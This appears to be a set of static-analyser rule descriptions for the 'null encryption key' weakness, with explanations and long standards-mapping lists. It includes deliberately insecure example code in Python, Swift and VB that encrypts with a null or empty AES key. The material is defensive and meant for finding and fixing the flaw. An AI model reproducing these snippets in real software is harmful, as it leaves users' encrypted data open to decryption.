[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.sql.key_management_null_encryption_key
Abstract
Null encryption keys can compromise security in a way that is not easy to remedy.
Explanation
Assigning None to encryption key variables is a bad idea because it can allow attackers to expose sensitive and encrypted information. Not only does using a null encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, a software patch is required to change the null encryption key. If an account protected by the null encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code initializes an encryption key variable to null.

...
from Crypto.Ciphers import AES
cipher = AES.new(None, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...


Anyone who has access to the code would be able to determine that it uses a null encryption key, and anyone employing even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the null encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_null_encryption_key
Abstract
Null encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use a null encryption key. Not only does using a null encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, a software patch is required to change the null encryption key. If an account protected by the null encryption key is compromised, the owners of the system must choose between security and availability.

Anyone who has access to the code would be able to determine that it uses a null encryption key, and anyone employing even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the null encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_null_encryption_key
Abstract
Null encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use a null encryption key. Not only does using a null encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, a software patch is required to change the null encryption key. If an account protected by the null encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using a null encryption key:


...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
nil,
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...


Not only will anyone who has access to the code be able to determine that it uses a null encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the null encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null encryption key.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_null_encryption_key
Abstract
Null encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use a null encryption key because it significantly reduces the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, a software patch is required to change the null encryption key. If an account that is protected by the null encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using a null encryption key:


...
Dim encryptionKey As String
Set encryptionKey = vbNullString
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
  AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
  ...
Exit Sub
...


Not only will anyone who has access to the code be able to determine that it uses a null encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the null encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
